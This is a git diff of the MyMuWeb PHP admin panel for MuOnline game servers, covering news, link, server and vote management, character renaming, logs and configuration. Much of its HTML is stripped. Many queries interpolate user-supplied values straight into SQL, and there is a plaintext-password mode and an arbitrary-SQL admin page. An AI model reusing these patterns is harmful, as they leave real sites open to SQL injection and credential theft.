diff --git a/ADS.txt b/ADS.txt index 54dc4fe..dc05744 100644 --- a/ADS.txt +++ b/ADS.txt @@ -1,4 +1,15 @@ -Friends: -
-RedAngel MuOnline -
\ No newline at end of file + + + +
+MyMuWeb Support
+RedAngel MuOnline
+Padriv E-Radio
+
+ + +
This Text Can Edit in ads.txt \ No newline at end of file diff --git a/ReadMe.txt b/ReadMe.txt index ed84f15..c803438 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -1,4 +1,4 @@ -//MyMuWeb By Vaflan +//MyMuWeb ReadMe ***************** Change AppServer. @@ -9,7 +9,7 @@ And 942 cols - mssql.secure_connection = Off - ' ***************** Change MSSQL. Copy File 'WZ_MD5_MOD.dll' -To: Microsoft SQL Server\MSSQL\Binn\ +To: Microsoft SQL 'Server\MSSQL\Binn\' ***************** Change config.php. @@ -32,16 +32,19 @@ change 'admin' Colums - '0' to '9'. Level (3 - GM, 6 - Mini Admin, 9 - Admin) Admin Username = Your Login in Reg WebSite Admin Password = Your Password in Reg WebSite -Admin SecurityCode = '1234' +Admin SecurityCode = '4321' How to add Mp3 to Player? add all need mp3 to 'media' folder. How to add Language? add language_name.php to 'lang' folder. + +How to add Theme? +add folder to 'themes', and change in config.php $mmw[theme]. !----------------------! -Thank For use my MMW. +Thank For use MyMuWeb. by Vaflan -http://tk3.clan.su +http://mmw.clan.su vaflancher@inbox.lv diff --git a/admin.php b/admin.php index aed9ccd..ad63cb6 100644 --- a/admin.php +++ b/admin.php @@ -9,8 +9,9 @@ include("admin/inc/query.php"); include("includes/sql_check.php"); include("includes/xss_check.php"); -include("includes/formats.php"); +include("includes/format.php"); include("admin/inc/functions.php"); +writelog("check_ip","".urldecode($_SERVER["HTTP_REFERER"]).""); ?> @@ -18,20 +19,22 @@ MyMuWeb Administrator - +
- + +
+
+
@@ -62,6 +65,7 @@
+ '; + echo ''; } if($login_row[0] == $account && $login_row[1] < $mmw[min_level_to_ap]) { echo ''; @@ -59,8 +59,8 @@ function clear_logs($name) $code = clean_var(stripslashes($_SESSION['a_admin_security'])); $level = clean_var(stripslashes($_SESSION['a_admin_level'])); - if($mmw[md5] == yes) {$check_sql = mssql_query("SELECT memb___id,admin FROM dbo.MEMB_INFO WHERE memb___id='$admin' AND memb__pwd=[dbo].[fn_md5]('$pass','$admin')");} - elseif ($mmw[md5] == no) {$check_sql = mssql_query("SELECT memb___id,admin FROM dbo.MEMB_INFO WHERE memb___id='$admin' AND memb__pwd='$pass'");} + if($mmw[md5] == yes) {$check_sql = mssql_query("SELECT memb___id,mmw_status FROM dbo.MEMB_INFO WHERE memb___id='$admin' AND memb__pwd=[dbo].[fn_md5]('$pass','$admin')");} + elseif ($mmw[md5] == no) {$check_sql = mssql_query("SELECT memb___id,mmw_status FROM dbo.MEMB_INFO WHERE memb___id='$admin' AND memb__pwd='$pass'");} $check_row = mssql_fetch_row($check_sql); if($mmw[admin_securitycode] != $code || $admin != $check_row[0] || $level != $check_row[1] || $level < $mmw[min_level_to_ap]) { @@ -179,14 +179,14 @@ function edit_news($news_title,$news_autor,$news_cateogry,$news_id,$news_eng,$ne -function add_new_link($link_name,$link_address,$link_description) +function new_link($link_name,$link_address,$link_description,$link_size) { require("config.php"); $date = date('d-m-Y H:i'); - if (empty($link_name) || empty($link_address) || empty($link_description)){ + if (empty($link_name) || empty($link_address) || empty($link_description) || empty($link_size)){ echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} else{ - mssql_query("INSERT INTO MMW_links(link_name,link_address,link_description,link_date,link_id) VALUES ('$_POST[link_name]','$_POST[link_address]','$_POST[link_description]','$date','$mmw[rand_id]')"); + mssql_query("INSERT INTO MMW_links(link_name,link_address,link_description,link_size,link_date,link_id) VALUES ('$link_name','$link_address','$link_description','$link_size','$date','$mmw[rand_id]')"); echo "$warning_green Link SuccessFully Added!"; $log_dat = "Link $_POST[link_name] Has Been Added"; @@ -205,20 +205,20 @@ function delete_link($link_id) mssql_query("Delete from MMW_links where link_id='$link_id'"); echo "$warning_green Link SuccessFully Deleted!"; - $log_dat = "Link $_POST[link_name] Has Been Deleted"; + $log_dat = "Link $link_name Has Been Deleted"; writelog("link",$log_dat); } } -function edit_link($link_name,$link_address,$link_description,$link_id) +function edit_link($link_name,$link_address,$link_description,$link_size,$link_id) { require("config.php"); $date = date('d-m-Y H:i'); - if (empty($link_name) || empty($link_address) || empty($link_description) || empty($link_id)){ + if (empty($link_name) || empty($link_address) || empty($link_description) || empty($link_size) || empty($link_id)){ echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} else{ - mssql_query("Update MMW_links set [link_name]='$_POST[link_name]',[link_address]='$_POST[link_address]',[link_description]='$_POST[link_description]',[link_date]='$date' where link_id='$_POST[link_id]'"); + mssql_query("Update MMW_links set [link_name]='$link_name',[link_address]='$link_address',[link_description]='$link_description',[link_size]='$link_size',[link_date]='$date' where link_id='$link_id'"); echo "$warning_green Link SuccessFully Edited!"; $log_dat = "Link $_POST[link_name] Has Been Edited"; @@ -303,8 +303,8 @@ function edit_account($post_account,$post_pwd,$post_mode,$post_email,$post_sques if($post_pwd!=""){$passmd5="[memb__pwd2]='$post_pwd',[memb__pwd]=[dbo].[fn_md5]('$post_pwd','$post_account'),"; $passdef="[memb__pwd2]='$post_pwd',[memb__pwd]='$post_pwd',";} if($post_unblock_time!=""){$block_menu = "[unblock_time]='$post_unblock_time',";} if($post_block_date!="no"){ if($post_block_date=='yes'){$post_block_date = time();}else{$post_block_date = '0';} $block_menu = $block_menu . "[block_date]='$post_block_date',";} $block_menu = $block_menu . "[blocked_by]='$_SESSION[a_admin_login]',[block_reason]='$post_block_reason',"; - if($mmw['md5']==yes){$sql_script_edit_account = "Update memb_info set $passmd5 $block_menu [bloc_code]='$post_mode',[mail_addr]='$post_email',[fpas_ques]='$post_squestion',[fpas_answ]='$post_sanswer',[admin]='$post_admin_level' where memb___id='$post_account'";} - elseif($mmw['md5']==no){$sql_script_edit_account = "Update memb_info set $passdef $block_menu [bloc_code]='$post_mode',[mail_addr]='$post_email',[fpas_ques]='$post_squestion',[fpas_answ]='$post_sanswer',[admin]='$post_admin_level' where memb___id='$post_account'";} + if($mmw['md5']==yes){$sql_script_edit_account = "Update memb_info set $passmd5 $block_menu [bloc_code]='$post_mode',[mail_addr]='$post_email',[fpas_ques]='$post_squestion',[fpas_answ]='$post_sanswer',[mmw_status]='$post_admin_level' where memb___id='$post_account'";} + elseif($mmw['md5']==no){$sql_script_edit_account = "Update memb_info set $passdef $block_menu [bloc_code]='$post_mode',[mail_addr]='$post_email',[fpas_ques]='$post_squestion',[fpas_answ]='$post_sanswer',[mmw_status]='$post_admin_level' where memb___id='$post_account'";} mssql_query($sql_script_edit_account); echo "$warning_green Account $post_account SuccessFully Edited!"; @@ -427,4 +427,46 @@ function delete_vote($id_vote) writelog("vote",$log_dat); } } + + + + + + +function rename_char($name_char,$rename_char) +{ require("config.php"); + $date = date('d-m-Y H:i'); + $name_check = mssql_query("SELECT Name FROM Character WHERE name='$rename_char'"); + $check_char = mssql_num_rows($name_check); + if (empty($name_char) || empty($rename_char)){echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} + elseif ($check_char > 0){echo "$warning_red Character Is Already In Use, Please Choose Another!";} + else{ + mssql_query("Update Character set [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("Update OptionData set [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("Update Guild set [G_Master]='$rename_char' WHERE [G_Master]='$name_char'"); + mssql_query("Update GuildMember set [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("Update AccountCharacter set [GameID1]='$rename_char' WHERE [GameID1]='$name_char'"); + mssql_query("Update AccountCharacter set [GameID2]='$rename_char' WHERE [GameID2]='$name_char'"); + mssql_query("Update AccountCharacter set [GameID3]='$rename_char' WHERE [GameID3]='$name_char'"); + mssql_query("Update AccountCharacter set [GameID4]='$rename_char' WHERE [GameID4]='$name_char'"); + mssql_query("Update AccountCharacter set [GameID5]='$rename_char' WHERE [GameID5]='$name_char'"); + + mssql_query("Update MMW_comment set [c_char]='$rename_char' WHERE [c_char]='$name_char'"); + mssql_query("Update MMW_forum set [f_char]='$rename_char' WHERE [f_char]='$name_char'"); + mssql_query("Update MMW_forum set [f_lostchar]='$rename_char' WHERE [f_lostchar]='$name_char'"); + mssql_query("Update MMW_market set [item_char]='$rename_char' WHERE [item_char]='$name_char'"); + + mssql_query("Update T_CGuid set [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("Update T_FriendList set [FriendName]='$rename_char' WHERE [FriendName]='$name_char'"); + mssql_query("Update T_FriendMail set [FriendName]='$rename_char' WHERE [FriendName]='$name_char'"); + mssql_query("Update T_FriendMain set [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("Update T_WaitFriend set [FriendName]='$rename_char' WHERE [FriendName]='$name_char'"); + mssql_query("Update WEB_ZS set [NAME]='$rename_char' WHERE [NAME]='$name_char'"); + mssql_query("Update MEMB_INFO set [char_set]='$rename_char' WHERE [char_set]='$name_char'"); + + echo "$warning_green $name_char Rename to $rename_char SuccessFully Edited!"; + + writelog("rename_char","$name_char Renamed to $rename_char"); + } +} ?> \ No newline at end of file diff --git a/admin/inc/links_list.php b/admin/inc/links_list.php new file mode 100644 index 0000000..3a41497 --- /dev/null +++ b/admin/inc/links_list.php @@ -0,0 +1,44 @@ + + +# +Name +Address +Description +Date +Edit +Delete +'; + +for($i=0;$i < mssql_num_rows($result);++$i) { +$row = mssql_fetch_row($result); +$rank = $i+1; +$table_edit = ""; + +$table_delete = ""; + +$row[0] = substr($row[0],0,8); +$row[1] = substr($row[1],0,14); +$row[2] = substr($row[2],0,14); + +echo " +$rank. +$row[0]... +$row[1]... +$row[2]... +$row[4] +$table_edit +$table_delete +"; +} +?> + \ No newline at end of file diff --git a/admin/inc/links_manager.php b/admin/inc/links_manager.php deleted file mode 100644 index d6b2788..0000000 --- a/admin/inc/links_manager.php +++ /dev/null @@ -1,57 +0,0 @@ - -Links List - - - - - - - - - - -'; - -for($i=0;$i < mssql_num_rows($result);++$i) { -$row = mssql_fetch_row($result); -$rank = $i+1; -$table_edit = "
#NameAddressDescriptionDateEditDelete
- - - -
"; - -$table_delete = " - - - -
"; - -$row[0] = substr($row[0],0,6); -$row[1] = substr($row[1],0,10); -$row[2] = substr($row[2],0,12); -echo " -$rank. -$row[0]... -$row[1]... -$row[2]... -$row[4] -$table_edit -$table_delete -"; -} -?> - - \ No newline at end of file diff --git a/admin/inc/news_list.php b/admin/inc/news_list.php index 522a25a..e25c854 100644 --- a/admin/inc/news_list.php +++ b/admin/inc/news_list.php @@ -2,55 +2,42 @@ $result = mssql_query("SELECT news_title,news_autor,news_category,news_date,news_id from MMW_news order by news_date desc"); echo ' -
News List - +
- - - - - - - + + + + + + + '; for($i=0;$i < mssql_num_rows($result);++$i) { $row = mssql_fetch_row($result); $rank = $i+1; -$news_table_edit = "
#TitleAuthorCategoryDateEditDelete#TitleAuthorCategoryDateEditDelete
- - - -
- - - -
-"; -$news_table_delete = " - - - -
- - - -
-"; -$row[0] = substr($row[0],0,10); +$news_table_edit = "
+ + +
"; +$news_table_delete = "
+ + +
"; + +$row[0] = substr($row[0],0,15); $row[3] = date("H:i, d.m.Y",$row[3]); -echo " -$rank. -$row[0]... -$row[1] -$row[2] -$row[3] -$news_table_edit -$news_table_delete -"; +echo " +$rank. +$row[0]... +$row[1] +$row[2] +$row[3] +$news_table_edit +$news_table_delete +"; } ?> - -
\ No newline at end of file + \ No newline at end of file diff --git a/admin/inc/query.php b/admin/inc/query.php index 243a98b..912c0cc 100644 --- a/admin/inc/query.php +++ b/admin/inc/query.php @@ -5,7 +5,7 @@ if(isset($_SESSION['a_admin_login'],$_SESSION['a_admin_pass'],$_SESSION['a_admin_security'],$_SESSION['a_admin_level'])){ if(isset($_POST[sqlquery_query])) {$sqlquery_query = $_POST[sqlquery_query];} - else {$sqlquery_query = 'UPDATE table SET [column]=? WHERE [column]=?';} + else {$sqlquery_query = "UPDATE table SET [column]=? WHERE [column]=?\n\nSELECT * FROM table WHERE [column]=?\n\ndeclare @hex varbinary(1920); set @hex=(SELECT Items FROM warehouse where AccountId='?'); print @hex;";} if(isset($_POST["sql_query_true"])) { if($sqlquery_result = mssql_query($sqlquery_query)) @@ -31,6 +31,11 @@ function sqlquery_result($sql_query,$sql_result) { } echo "\n"; } + if($substr_query == 'DECLAR' || $substr_query == 'Declar' || $substr_query == 'declar') { + mssql_query($sql_query); + echo "
Result:
\n"; + echo "\n"; + } } } diff --git a/admin/inc/search_acc.php b/admin/inc/search_acc.php index 3b76455..a55936f 100644 --- a/admin/inc/search_acc.php +++ b/admin/inc/search_acc.php @@ -1,21 +1,20 @@ Search Account Results

- +
- - - - - - - + + + + + + +'; for($i=0;$i < mssql_num_rows($result);++$i) { @@ -40,24 +39,20 @@ if($row[3] == '0'){$country = "Not Set";} else{$country = country($row[3]);} -$account_table_edit = "
#AccountModeCountryGenderStatusEdit?#AccountModeCountryGenderStatusEdit
- - - -
- - -
"; - -echo " -$rank -$row[0] -$row[2] -$country -$row[4] -$status[0] -$account_table_edit -"; +$account_table_edit = "
+ + +
"; + +echo " +$rank. +$row[0] +$row[2] +$country +$row[4] +$status[0] +$account_table_edit +"; } ?> \ No newline at end of file diff --git a/admin/inc/search_chr.php b/admin/inc/search_chr.php index 29edd0d..11e93ac 100644 --- a/admin/inc/search_chr.php +++ b/admin/inc/search_chr.php @@ -1,23 +1,21 @@ Search Character Results

- +
- - - - - - - - - + + + + + + + +'; for($i=0;$i < mssql_num_rows($result);++$i) { @@ -34,39 +32,25 @@ elseif($row[9] == 32 || $row[9] == 8){$row[9] = "
#NameAccountLevelResetsClassModeStatusEdit#NameAccountLevelResetsClassStatusEdit
GM
";} elseif($row[9] == 0){$row[9] = "Normal";} -if($row[1] == 0){$row[1] ='DW';} -if($row[1] == 1){$row[1] ='SM';} -if($row[1] == 16){$row[1] ='DK';} -if($row[1] == 17){$row[1] ='BK';} -if($row[1] == 32){$row[1] ='ELF';} -if($row[1] == 33){$row[1] ='ME';} -if($row[1] == 48){$row[1] ='MG';} -if($row[1] == 64){$row[1] ='DL';} - if($_SESSION[a_admin_level] > 3) { -$character_table_edit = " - - - -
- - -
"; +$character_table_edit = "
+ + +
"; } else { $character_table_edit = "Can't"; } -echo " -$rank -$row[0] -$row[8] -$row[2] -$row[3] -$row[1] -$row[9] -$status[0] -$character_table_edit -"; +echo " +$rank. +$row[0] +$row[8] +$row[2] +$row[3] +".char_class($row[1])." +$status[0] +$character_table_edit +"; }?> \ No newline at end of file diff --git a/admin/inc/search_ip.php b/admin/inc/search_ip.php index 9f98b56..612be58 100644 --- a/admin/inc/search_ip.php +++ b/admin/inc/search_ip.php @@ -1,21 +1,19 @@ Search Character ip Results

- +
- - - - - - - + + + + + +'; for($i=0;$i < mssql_num_rows($result);++$i) { @@ -25,22 +23,17 @@ $get_ip_exec = mssql_query("Select ip,CONNECTTM,ConnectStat from MEMB_STAT where memb___id='$row[0]'"); $get_ip_done = mssql_fetch_row($get_ip_exec); -if($row[1] == 1){$row[1] = "
#NameAccountIPModeDate ConnectStatus#NameAccountIPDate ConnectStatus
Blocked
";} -elseif($row[1] == 32 || $row[1] == 8){$row[1] = "
GM
";} -elseif($row[1] == 0){$row[1] = "Normal";} - if($get_ip_done[0] == NULL){$get_ip_done[0] = "
Error #120
";} if($get_ip_done[2] == 0){$get_ip_done[2] ='';} if($get_ip_done[2] == 1){$get_ip_done[2] ='';} -echo " -$rank -$row[2] -$row[0] -$get_ip_done[0] -$row[1] -$get_ip_done[1] -$get_ip_done[2] -"; +echo " +$rank. +$row[1] +$row[0] +$get_ip_done[0] +".time_format($get_ip_done[1],"d.m.Y H:i")." +$get_ip_done[2] +"; }?> \ No newline at end of file diff --git a/admin/inc/server_list.php b/admin/inc/server_list.php new file mode 100644 index 0000000..65d8614 --- /dev/null +++ b/admin/inc/server_list.php @@ -0,0 +1,52 @@ + + +# +Name +Version +Experience +Drops +Type +Status +Edit +Delete +'; + +for($i=0;$i < mssql_num_rows($result);++$i) { +$row = mssql_fetch_row($result); +$rank = $i+1; +if($check=@fsockopen($row[4],$row[3],$ERROR_NO,$ERROR_STR,(float)0.3)) { + fclose($check); + $status_done = 'Online'; +} +else { + $status_done = 'Offline'; +} + +$server_table_edit = "
+ + +
"; + +$server_table_delete = "
+ + +
"; + +echo " +$row[6]. +$row[0] +$row[5] +$row[1] +$row[2] +$row[7] +$status_done +$server_table_edit +$server_table_delete +"; +} +?> + \ No newline at end of file diff --git a/admin/inc/server_manager.php b/admin/inc/server_manager.php deleted file mode 100644 index 46d72b4..0000000 --- a/admin/inc/server_manager.php +++ /dev/null @@ -1,63 +0,0 @@ - -Links List - - - - - - - - - - - -'; - -for($i=0;$i < mssql_num_rows($result);++$i) { -$row = mssql_fetch_row($result); -$rank = $i+1; -if ($check=@fsockopen($row[4],$row[3],$ERROR_NO,$ERROR_STR,(float)0.5)) - { - fclose($check); - $status_done = "Online"; - } -else - { - $status_done = "Offline"; - } - -$server_table_edit = "
#NameVersionExperienceDropsTypeStatusEditDelete
- - -
- - -
"; - -$server_table_delete = " - - -
- - -
"; - -echo " -$row[6] -$row[0] -$row[5] -$row[1] -$row[2] -$row[7] -$status_done -$server_table_edit -$server_table_delete -"; -} -?> - - \ No newline at end of file diff --git a/admin/inc/vote_list.php b/admin/inc/vote_list.php index 5e1b137..965a4d0 100644 --- a/admin/inc/vote_list.php +++ b/admin/inc/vote_list.php @@ -2,41 +2,29 @@ $result = mssql_query("SELECT ID,question,answer1,answer2,answer3,answer4,answer5,answer6,add_date from MMW_votemain order by add_date desc"); echo ' -
-Votes List - - - - - - - - - - +
#QuestionAnswersVotesDateEditDelete
+ + + + + + + +'; for($i=0;$i < mssql_num_rows($result);++$i) { $row = mssql_fetch_row($result); $rank = $i+1; +$table_edit = " + + +"; -$table_edit = "
#QuestionAnswersVotesDateEditDelete
- - - -
- - -
"; - -$table_delete = " - - - -
- - -
"; +$table_delete = "
+ + +
"; $all_answers = 0; for($c=2; $c < 8; ++$c) { @@ -46,16 +34,15 @@ $all_votes_res = mssql_query("SELECT ID_vote FROM MMW_voterow WHERE ID_vote='$row[0]'"); $all_votes = mssql_num_rows($all_votes_res); -echo " -$rank. -$row[1] -$all_answers -$all_votes -".date("d.m.Y H:i:s", $row[8])." -$table_edit -$table_delete -"; +echo " +$rank. +$row[1] +$all_answers +$all_votes +".date("d.m.Y H:i:s", $row[8])." +$table_edit +$table_delete +"; } ?> - -
\ No newline at end of file + \ No newline at end of file diff --git a/admin/logs.php b/admin/logs.php index 2ce9e10..4757651 100644 --- a/admin/logs.php +++ b/admin/logs.php @@ -1,163 +1,206 @@ - - - - - - - - - - - +
- Client Requests - - - - - -
-
- Admin Side - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- Client Side - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
+ + + + + + + + + + + + +
+
+ Client Requests + + + + + +
Requests +
+ + +
+
+
+
+
+ Admin Side + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Check IP Logs + 6){?>
+ +
+
News Logs + 6){?>
+ +
+
Server Logs + 6){?>
+ +
+
Downloads Logs + 6){?>
+ +
+
SQL Query Logs + 6){?>
+ +
+
Rename Character Logs + 6){?>
+ +
+
Edit Character Logs + 6){?>
+ +
+
Edit Account Logs + 6){?>
+ +
+
Delete Account Logs + 6){?>
+ +
+
Edit Account WH Logs + 6){?>
+ +
+
+
+
+
+ Client Side + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Ware House Logs + 6){?>
+ +
+
Resets Logs + 6){?>
+ +
+
Stats Add Logs + 6){?>
+ +
+
Referral Logs + 6){?>
+ +
+
Clear Pk Logs + 6){?>
+ +
+
Move Logs + 6){?>
+ +
+
Market Logs + 6){?>
+ +
+
Send Zen Logs + 6){?>
+ +
+
Profile Logs + 6){?>
+ +
+
Change Class Logs + 6){?>
+ +
+
+
+
\ No newline at end of file diff --git a/admin/news.php b/admin/news.php index 5ebcf48..a42fca4 100644 --- a/admin/news.php +++ b/admin/news.php @@ -1,107 +1,78 @@ - +
+ + - '; -}else{ -echo ' - - '; -}?> +$news_eng = str_replace("[br]","\n",$get_edit_news_[3]); $news_rus = str_replace("[br]","\n",$get_edit_news_[4]); +?> + Edit News + +
+
-
-
- Edit News -
- - - - - - - - - - - - - -
News Title
Author
- -
Category
Curent('.$get_edit_news_[2].')
- - - - -
- English:

- Russian:

-
- - - - - -
-
-
-
-
- Add New News -
- - - - - - - - - -
News Title
Category
- - - - -
- English:

- Russian:

-
- - - - - -
-
-
-
+ + + + + + + + + +
+ Author Curent Category:
+ News Title + Category +
+ English:

+ Russian:

+
+ + +
+ + + Add News +
+ + + + + + + + + + +
+ Title + Category
+ English:

+ Russian:

+
+ + +
+
+ + + + - + +
+ News List +
\ No newline at end of file diff --git a/admin/server.php b/admin/server.php index 9d66e8c..4574195 100644 --- a/admin/server.php +++ b/admin/server.php @@ -1,124 +1,111 @@ - - - - + + + +
+ + + + - -
+
+ - Edit Server -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Name
Version
Experience
Drops
Type
Curent('.$edit_server[7].')
Gs Port
Server ip
Display Order
- -
- - - - - -
-
-
-';} -else{ -echo ' -
- Add New Server -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Name
Version
Experience
Drops
Type
Gs Port
Server ip
Display Order
-
- - - - - -
-
-
'; -} ?> -
- - - - - + Edit Server + +
- -
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Name
Version
Experience
Drops
Type Curent:
Gs Port
Server IP
Display Order
+ + + Add Server +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Name
Version
Experience
Drops
Type
Gs Port
Server IP
Display Order
+
+ + +
+
+ Server List + +
+
diff --git a/admin/sqlquery.php b/admin/sqlquery.php index daec609..451c034 100644 --- a/admin/sqlquery.php +++ b/admin/sqlquery.php @@ -6,24 +6,26 @@ echo $query_result; ?> - - - - +
-
- SQL Query -
- - - - - - - -
-
-
-
+ + +
+
+ SQL Query +
+ + + + + + + +
+
+
+
- \ No newline at end of file +
+ +
\ No newline at end of file diff --git a/admin/votes.php b/admin/votes.php index 1c7e925..1b262f1 100644 --- a/admin/votes.php +++ b/admin/votes.php @@ -1,107 +1,103 @@ - - - - + + + +
+ + + + - -
+
+ - Edit Vote -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Question
Answer 1
Answer 2
Answer 3
Answer 4
Answer 5
Answer 6
-
-
-';} -else{ -echo ' -
- Add New Vote -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Question
Answer 1
Answer 2
Answer 3
Answer 4
Answer 5
Answer 6
-
-
'; -} ?> -
- - - - - + Edit Vote + +
- -
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Question
Answer 1
Answer 2
Answer 3
Answer 4
Answer 5
Answer 6
+ + + Add Vote +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Question
Answer 1
Answer 2
Answer 3
Answer 4
Answer 5
Answer 6
+
+ + +
+
+ Server List + +
+
diff --git a/class.php b/class.php new file mode 100644 index 0000000..cf64607 --- /dev/null +++ b/class.php @@ -0,0 +1,29 @@ + \ No newline at end of file diff --git a/config.php b/config.php index 3d2834c..f3db352 100644 --- a/config.php +++ b/config.php @@ -1,50 +1,54 @@ Result:
';$sql_die_end = ''; -if($mmw[dbuser]=='Login' || $mmw[database]=='DataBase' || $mmw[dbhost]=='IP Address' || $mmw[dbpass]=='Password') {die("$sql_die_start Please Check config.php! $sql_die_end");} -$connect_mssql = @mssql_connect($mmw[dbhost],$mmw[dbuser],$mmw[dbpass]) or die("$sql_die_start MSSQL server is offline OR I can't Access to it! $sql_die_end"); -@mssql_select_db($mmw[database], $connect_mssql) or die("$sql_die_start Database don't exists OR I can't Access to it! $sql_die_end"); +$sql_die_start = '
MMW Result:
';$sql_die_end = '
'; +if($mmw[sqlpass]=='Password' || $mmw[sqluser]=='Login' || $mmw[database]=='DataBase' || $mmw[sqlhost]=='IP Address') {die("$sql_die_start Please Check config.php! $sql_die_end");} +$mssql_connect = @mssql_connect($mmw[sqlhost],$mmw[sqluser],$mmw[sqlpass]) or die("$sql_die_start MSSQL server is offline OR I can't Access to it! $sql_die_end"); +@mssql_select_db($mmw[database], $mssql_connect) or die("$sql_die_start Database don't exists OR I can't Access to it! $sql_die_end"); // MyMuWeb Config -$mmw[md5] = 'no'; // no(OFF) or yes(ON) -$mmw[webtitle] = 'MuOnline MMORPG Server'; // Web Title -$mmw[servername] = 'MuOnline Server'; // Server Name +$mmw[theme] = 'default'; // Name Of Folder in 'Themes/' +$mmw[language] = 'English'; // Default Language in Web +$mmw[webtitle] = 'Name MuOnline Server'; // Web Title +$mmw[servername] = 'Name MuOnline'; // Server Name $mmw[serverwebsite] = 'http://localhost/'; // WebSite -$mmw[max_stats] = '64000'; // Max Stats In Game -$mmw[pkmoney] = '1000000'; // Zen for Pk Clean (Min 1kk) -$mmw[move_zen] = '1000000'; // Zen for move (Min 1kk) -$mmw[gm] = 'yes'; // no(Not Show in TOP) or yes(Show in TOP) +$mmw[max_stats] = '32767'; // Max Stats In Game +$mmw[free_hex] = '32'; // 20(Season 0~2) or 32(Season 3~4) or Other(WareHouse.Items.Length / 120 * 2) +$mmw[pkmoney] = '10000000'; // Zen for Pk Clean (Min 1kk) +$mmw[move_zen] = '10000000'; // Zen for move (Min 1kk) +$mmw[switch_change_class] = 'yes'; // yes(All Can Change Class) no(Options Off). +$mmw[gm] = 'no'; // no(Not Show in TOP) or yes(Show in TOP) $mmw[gm_guild] = 'GM Guild'; // GM guild name (Don't Show) -$mmw[max_post_news] = '5'; // Max News in 1 Page -$mmw[long_news_txt] = '160'; // Long News Text +$mmw[max_post_news] = '6'; // Max News in 1 Page +$mmw[long_news_txt] = '160'; // Long News Text, if 0 this options off $mmw[last_in_forum] = '5'; // Max Topic in Block "Last in Forum" -$mmw[max_post_forum] = '50'; // Max Topic in Forum +$mmw[max_post_forum] = '100'; // Max Topic in Forum $mmw[comment_time_out] = '60'; // Comment Time Out $mmw[min_send_zen] = '1000000'; // Minimum Zen for Send to Char (Can 0) $mmw[service_send_zen] = '1000000'; // Service fee Zen for Send to Char (Can 0) $mmw[zen_for_acc] = '50000000'; // Zen For New Account (Can 0) $mmw[switch_ref] = 'yes'; // no(NO Referral) or yes(Referral) -$mmw[zen_for_ref] = '1000000000'; // Zen For Referral (Min 1kk) -$mmw[max_char_wh_zen] = '1000000000'; // Max Zen in Character and WareHouse -$mmw[max_private_message] = '20'; // Max Private Message +$mmw[zen_for_ref] = '750000000'; // Zen For Referral (Min 1kk) +$mmw[max_char_wh_zen] = '2000000000'; // Max Zen in Character and WareHouse +$mmw[max_private_message] = '50'; // Max Private Message $mmw[max_length_private_message] = '300'; // How many Simbol in Private Message -$mmw[joinserver_port] = '55970'; // Join Server port for GM Message -$mmw[mp3_player] = 'yes'; // no(Not Show) or yes(Show) Mp3 Player -$mmw[language] = 'English'; // Default Language in Web $mmw[votes_check] = 'ip'; // ip(Only Different IP) or acc(Only Different Account) +$mmw[mp3_player] = 'yes'; // no(Not Show) or yes(Show) Mp3 Player +$mmw[popunder] = 'yes'; // no(Not Show) or yes(Show) PopUnder in MyMuWeb +$mmw[popunder_check] = 'yes'; // If 'yes' and Account Logined, PoUnder OFF. // Reset System @@ -54,23 +58,26 @@ $mmw[reset_level_mg] = '400'; // Level For Reset MG,DM $mmw[reset_level_dl] = '400'; // Level For Reset DL,LE $mmw[reset_level_sum] = '400'; // Level For Reset Sum,Bsum,Dim -$mmw[resetslimit] = '500'; // Max Resets (Limit) -$mmw[resetmoney] = '25000000'; // Zen for Reset (Min 1kk) -$mmw[reset_system] = 'no'; // yes(Zen*Reset) or no(Default) +$mmw[reset_limit_level] = '999'; // Max Reset (Limit) +$mmw[reset_limit_price] = '0'; // Limited Price For Reset or 0 +$mmw[reset_money] = '10000000'; // Zen for Reset (Min 1kk) +$mmw[reset_system] = 'yes'; // yes(Zen*Reset) or no(Default) $mmw[resetpoints] = '0'; // Reset Points $mmw[resetmode] = 'keep'; // reset(Points = 25) or keep(Default) $mmw[levelupmode] = 'normal'; // extra(ResetPoints*Reset) or normal(Points+ResetPoints) +$mmw[check_inventory] = 'no'; // no(NO Check) or yes(Check) $mmw[clean_inventory] = 'no'; // no(NO Clean) or yes(Clean) $mmw[clean_skills] = 'no'; // no(NO Clean) or yes(Clean) +$mmw[mix_cs_memb_reset] = 'no'; // yes(Reset Zen - Mix CastleSiege Reset Zen) or no(Default) +$mmw[max_zen_cs_reset] = '100000000'; // Max Zen Need in CastleSiege Bank % For Reset Members Castle Siege (Min 1kk) +$mmw[num_for_mix_cs_reset] = '10'; // How many '/' Max Zen to create % (Can't 0) -// Castle Siege -$mmw[castle_siege] = 'no'; // yes(Isset in Web) no (no in Web) +// Castle Siege and JoinServer +$mmw[castle_siege] = 'yes'; // yes(Is set in Web) no (no in Web) $mmw[gs_cs_ip] = '127.0.0.1'; // Castle Siege IP $mmw[gs_cs_port] = '55901'; // Castle Siege port -$mmw[mix_cs_memb_reset] = 'no'; // yes(Reset Zen - Mix Cs Reset Zen) or no(Default) -$mmw[num_for_mix_cs_reset] = '10'; // How many '/' Max Zen to create % (Can't 0) -$mmw[max_zen_cs_reset] = '100000000'; // Max Zen Need in Castle % For Reset Members Castle Siege (Min 1kk) 